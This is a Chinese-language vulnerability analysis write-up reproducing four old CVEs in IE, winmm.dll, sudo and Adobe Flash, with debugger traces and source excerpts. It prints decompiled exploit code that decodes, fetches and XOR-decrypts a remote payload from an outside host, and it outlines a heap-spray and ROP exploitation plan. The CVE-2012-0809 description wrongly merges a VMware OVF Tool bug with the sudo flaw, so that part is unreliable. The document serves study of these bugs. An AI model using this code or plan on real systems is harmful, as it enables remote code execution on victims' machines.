漏洞复现分析2
2. 堆溢出漏洞分析
2.1堆溢出漏洞相关知识
堆溢出漏洞(Heap Overflow Vulnerability)是一种内存管理漏洞,发生在应用程序对堆内存(heap)操作时没有进行足够的边界检查,导致数据写入超过预期大小的内存区域。这种情况可以被攻击者利用来破坏程序的内存布局,从而执行任意代码或导致程序崩溃。
堆溢出漏洞的成因
堆内存是由程序动态分配的,主要用于存储在运行时需要的可变大小的数据结构,如链表、树、或其他大块数据。堆溢出漏洞通常发生在内存分配不当和使用了不安全的函数
2.2 CVE-2012-0003分析
2.2.1漏洞描述
CVE-2012-0003(MS12-004)漏洞是微软的多媒体库winmm.dlI在处理MIDI文件时,由于对数据处理不当导致的堆溢出,攻击者可在网页中嵌入恶意构造的MIDI文件来远程执行任意代码。在微软漏洞日发布该漏洞补丁后,国外著名安全团队VUPEN在其官方博客公布了该漏洞的成因及利用方法(Advanced Exploitation of Internet Explorer Heap Overflow Vulnerabilities (MS12-004):
2.2.2分析环境
实验环境 | |
操作系统 | Windows xp SP3 |
渗透工具 | kali-linux-2022-metasploit |
虚拟机 | VMware® Workstation 16 Pro |
调试器 | Windbg:6.12.0002.633 x86 IDA |
漏洞软件 | Microsoft Media Player 10.00.00.3802、IE 6.0.2900 |
2.2.3漏洞复现与分析
- MIDI 文件格式
想要理解漏洞的成因,首先需要了解什么是 MIDI 文件格式:MIDI 全称 Musical Instrument Digital Interface,是一种乐器数字接口,说白了就是一种音频格式(通过winmm.dll 链接库解析这种格式的文件之后可以播放出音乐)总体来说 MIDI 可分为 “头块” 和若干多的 “音轨块”

头块结构如下

音轨事件如下
注意:这个是音轨事件,不是音轨的结构,一个音轨结构中可以包含许多的音轨事 件

toto.mid 样本中的十六进制数据如下图所示

- 样本生成
使用MSF生成exp

- 分析
在IE中打开对应的链接地址,发现弹出计算器

利用Windbg中的gflags.exe开启页堆保护提取对应的文件了。

然后通过搜索mid,找到对应的mid文件的名称,然后在Kali中利用UA头,下载mid

我们利用Windbg附加IE,将修改后的html文件拖入IE浏览器,发现出现了具体的错误属于winmm.dll这个动态链接库,出错的位置的偏移地址为0x76b2d224。随后找到此动态链接库,拖到IDA中,找到76B2D224,F5反汇编:

利用得到的这些地址,在OD附加IE之后,在各个地址上下条件断点,随后拖入之前的html文件,断在了断点处,溢出点是读取ESI位置出现异常,我们向上观察ESI的值的来源,76B2D21E处是ADD ESI,然后再IDA中进行溯源,找到对应的sub_76B2B29D函数
综上,可以看到ESI的值指向一个1024(0x400)字节的堆空间,返回到溢出位置,
ESI+0x419超出0x400,所以造成溢出。
2.3 CVE-2012-1876分析
2.3.1漏洞描述
在2012年的Pwn2Own黑客大赛上,来自法国的安全团队Vupen利用两个Oday漏洞攻下Windows 7 中的IE9,其中有一个就是本节要讲的IE堆溢出漏洞,另一个是绕过IE沙盘(保护模式)漏洞,VUPEN 团队也因此获得6万美元的奖励。根据大赛规定,Vupen将堆溢出漏洞提交给微软修复,然后微软发布了MS12-037公告修复此漏洞,而绕过IE沙盘的漏洞,VUPEN并没有提交给微软,可能是高价出售给了政府或者安全厂商。
2.3.2分析环境
实验环境 | |
操作系统 | Windows xp SP3 |
渗透工具 | kali-linux-2022-metasploit |
虚拟机 | VMware® Workstation 16 Pro |
调试器 | Windbg:6.12.0002.633 x86 IDA |
浏览器 | InternetExplorer8 |
2.3.3漏洞复现与分析
调试ie,开启子进程调试,开启页堆,定位堆溢出位置
gflags.exe -i iexplore.exe +hpa
.childdbg 1
溢出点,edi的值导致了crash,edi=[esi+18],向上追踪esi何处被赋值

查看堆栈,CalCulateMinMax存在大量对esi的操作,对CalCulateMinMax函数下断,进行分析

首次加载页面,会获取一些属性,第一个参数为Table标签的类对象
ebx=CTableLayout
ebx+0x54== 所有col标签span属性值的和,标记为spannum

如果通过判断:(this+0x94>>2) < spannum,则通过函数EnsureSizeWorker申请空间

函数EnsureSizeWorker内部会进行判断,确保最小申请空间为0x1C*4=0x70字节空间,并将地址存储入this+0x9C处

执行完之后会对this+0x94进行更新

通过调用函数over_trigger修改标签属性,第二次运行CalculateMinMax
此时this+0x94更新后==4,(4>>2)==spannum,所以不会再进行申请内存的操作

此时GetAAspan返回值为0x3e8,说明span属性值已经成功被修改,但是CTableLayout成员变量并没有发生改变

spannum仍然为1;通过函数GetFancyFormat对修改后的width进行了一次运算(42765*100)<<4+9=0x4141149

然后将参数传入,通过函数GetPixelWidth进行第二次运算,最终通过width得到的结果为0x519159

当运行到此处时,已经可以很明显的看出漏洞成因了,压入参数[ebp-0xc]也就是前面通过width计算出的值,通过函数AjdustForCol,循环1000次写入堆中,每次写入数据大小为0xC,而堆大小只有0x70,因为修改span后,没有重新分配相应大小的堆空间,最终会产生堆溢出.

利用思路
构造堆的布局,进行占位.让内存申请到释放的位置.
第一次溢出覆盖字符串长度,暴露mshtml基址.
第二次溢出覆盖虚表指针,构造rop,通过heapspray将shellcode喷射 到覆盖的虚表指针地址,绕过DEP和ASLR保护,执行shellcode.
3. 格式化字符串漏洞分析
3.1格式化字符串漏洞相关知识
格式化字符串漏洞(Format String Vulnerability)是由于不安全地处理用户输入为格式化字符串而引发的安全问题。该漏洞可以使攻击者读取或写入内存中的任意位置,甚至可能导致远程代码执行。
漏洞成因
格式化字符串漏洞通常发生在应用程序中,程序将不受信任的用户输入直接传递给格式化函数(如printf、sprintf、fprintf等),而没有对输入进行适当的验证或转义。
3.2 CVE-2012-0809分析
3.2.1漏洞描述
VMware OVF Tool是由VMware免费提供的一款支持虚拟的导入导出工具,支持以命令提示符的方式运行。该工具在解析OVF文件时存在格式化字符串漏洞,攻击者通过诱使用户加载恶意构造的OVF文件,利用漏洞实现任意代码执行。Sudo_debug()函数包含一个缺陷,其程序名作为格式串传递给fprint()函数,此程序名可由调用者控制,如通过符号链接或在某些系统上通过设置argv[0],使用标准格式串漏洞利用技术可利用此漏洞获得root特权。
3.2.2分析环境
实验环境 | |
操作系统 | Windows xp SP3 |
渗透工具 | kali-linux-2022-metasploit |
虚拟机 | VMware® Workstation 16 Pro |
调试器 | Linux-gbd |
漏洞软件 | Sudo 1.8.2 |
3.2.3漏洞复现与分析
源码可是直接从src/sudo.c中获取:
void
sudo_debug(int level, const char *fmt, ...)
{
va_list ap;
char *fmt2;
if (level > debug_level)
return;
/* Backet fmt with program name and a newline to make it a single write */
easprintf(&fmt2, "%s: %s\n", getprogname(), fmt);
va_start(ap, fmt);
vfprintf(stderr, fmt2, ap);
va_end(ap);
efree(fmt2);
}
根据exploit-db中的描述:
Here getprogname() is argv[0] and by this user controlled. So argv[0] goes to fmt2 which then gets vfprintf()ed to stderr. The result is a Format String vulnerability.
getprogname就是用户可控的输入的程序名,在easprintf函数调用中传入了fmt2变量中,然后又在vfprintf函数调用中传入了stderr,在这一过程中,如果程序名包含了%n,就会发生格式化字符串漏洞。
因为格式化字符串的开头就是%n,所以程序直接在第三个参数的首个位置进行了写入,但是注意这里vfprintf函数的第三个参数是0xbf998348,它并不是直接写入这个位置,第三个参数只是一个指针,指向了剩余参数的列表。
所以如果进行漏洞利用,还要看第三个参数指向的位置都保存了什么值,能不能够控制这些值,最终让已打印字符数写入返回地址处或者异常处理函数处。
如果在调用vfprintf之前使用backtrace查看一下函数调用情况:
(gdb) backtrace
#0 0x0046e29c in sudo_debug (level=9, fmt=0x472e54 "settings: %s=%s") at ./sudo.c:1217
#1 0x0046d006 in parse_args (argc=1, argv=0x16b9950, nargc=0xbf998420, nargv=0xbf998424, settingsp=0xbf998428, env_addp=0xbf99842c) at ./parse_args.c:424
#2 0x00467a30 in main (argc=2, argv=0xbf9985e4, envp=0xbf9985f0) at ./sudo.c:204
可以清晰地看到整个流程,直接回到源代码看一下:
// sudo.c line 204
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
// parse_args.c line 418
/*
* Format setting_pairs into settings array.
*/
settings = emalloc2(NUM_SETTINGS + 1, sizeof(char *));
for (i = 0, j = 0; i < NUM_SETTINGS; i++) {
if (sudo_settings[i].value) {
sudo_debug(9, "settings: %s=%s", sudo_settings[i].name, sudo_settings[i].value);
settings[j] = fmt_string(sudo_settings[i].name, sudo_settings[i].value);
if (settings[j] == NULL)
errorx(1, _("unable to allocate memory"));
j++;
}
}
// sudo.c line 1215
easprintf(&fmt2, "%s: %s\n", getprogname(), fmt);
根据上述代码,应该是说sudo有一系列的settings,这里正在循环打印其名称和值,并在打印时在最前面添加上程序名。
4.数组越界访问漏洞分析
4.1数组越界访问漏洞相关知识
数组越界访问漏洞(Array Out-of-Bounds Access Vulnerability)是一种常见的内存安全漏洞,发生在程序试图访问数组中超出其定义范围的元素时。这种情况可能导致程序读取或写入未经授权的内存区域,从而引发一系列安全问题,包括数据泄露、程序崩溃,甚至远程代码执行。
漏洞成因
- 缺乏边界检查:
程序在访问数组元素时,没有正确检查索引值是否在合法范围内。如果用户输入的索引值超出数组的边界,就可能导致越界访问。
- 计算错误:
程序在计算数组索引时出现错误,导致索引超出数组的合法范围。例如,使用循环访问数组时,循环边界条件设置错误。
4.2 CVE-2011-2110
4.2.1漏洞描述
2011年6月爆发了一款Adobe Flash漏洞,当时被频繁用于网页挂马攻击,尤其是在韩国,受此漏洞攻击的电脑数量最多。由于Adobe Flash Player存在一处数组越界访问漏洞,导致利用该漏洞可执行任意代码。在10.3.181.26 版本之前各平台的Adobe Flash Player均受影响,影响范围较大。该漏洞被恶名昭彰的BlackholeExploit Kit(“黑洞”漏洞攻击包,如图8-4所示)所使用,该工具包售价1500美元,流传于地下黑产。
4.2.2漏洞复现与分析
书中提供的漏洞利用文件是一个html文件,漏洞本身存在于Adobe FlashPlay中,这里通过在html中嵌入swf文件的方式,实现恶意文件的传播,真正进行漏洞利用的是嵌入的swf文件。
<paramname="movie"value="main.swf?info=02e6b1525353caa8ad555555ad31b637b436aeb1b631b1ad35b355b5a93534ab51d3527b7ab7387656" />
所以先来分析一下这个swf文件,可以使用JPEXS Free Flash Decompiler工具对swf文件进行反编译,得到的代码并不长,只有600+。
代码的开头就在对参数进行处理,可以注意到在嵌入swf文件的时候,传入了一个info参数,这里处理的就是这个参数:
var param:Object = root.loaderInfo.parameters;
var t_url:ByteArray = this.hexToBin(param["info"]);
i = 0;
i = 0;
while(i < t_url.length)
{
t_url[i] ^= 122;
i++;
}
t_url.uncompress();
使用CyberChef按照代码的处理方法对info参数进行处理,可以得到最终结果:
http://www.amcia.info/down/cd.txt

var error_arr:ByteArray = new ByteArray();
error_arr.writeByte(2053208673);
error_arr.writeObject(error_arr);
var browser:String = ExternalInterface.call("eval","navigator.userAgent");
if(!(browser.toLowerCase().indexOf("msie") > 0 || browser.toLowerCase().indexOf("firefox") > 0))
{
error_arr.uncompress();
}
if(browser.toLowerCase().indexOf("chrome") > 0)
{
error_arr.uncompress();
}
if(Capabilities.isDebugger || Capabilities.supports64BitProcesses || Capabilities.isEmbeddedInAcrobat)
{
error_arr.uncompress();
}
可以看到这个代码针对的是IE和Firefox浏览器,其他浏览器都会报错,最后还检查了是否为调试版本、处理器是否为64位,以及是否内嵌在Acrobat PDF中,任意一种情况符合都会报错。
最后代码使用一开始从info参数解码出来的字符串,进行了URL请求:
var url_str:String = String(t_url);
loader = new URLLoader();
loader.dataFormat = URLLoaderDataFormat.BINARY;
loader.addEventListener(Event.COMPLETE,onLoadComplete);
loader.load(new URLRequest(t_url.toString()));
可见这个代码会联网下载其他文件,同时在下载完成后,执行onLoadComplete函数。
onLoadComplete = function(param1:Event):void
{
content = loader.data;
i = 0;
while(i < content.length)
{
content[i] ^= 122;
++i;
}
content.uncompress();
content_len = content.length;
var _loc2_:ByteArray = new ByteArray();
code = _loc2_;
_loc2_.position = 1024 * 1024;
_loc2_.writeInt(2053274210);
_loc2_.writeInt(2053339747);
_loc2_.writeInt(2053405283);
_loc2_.writeObject(_loc2_);
test();
trace(_loc2_.length);
};
该函数会对下载的文件进行解密,解密方法和info参数一样。
之后创建了一个ByteArray _loc2_,目前还不知道这个变量有什么用,最后调用了test()函数。
test函数占据了这个文件的大部分篇幅,漏洞利用的内容应该也在这个函数中
浙公网安备 33010602011771号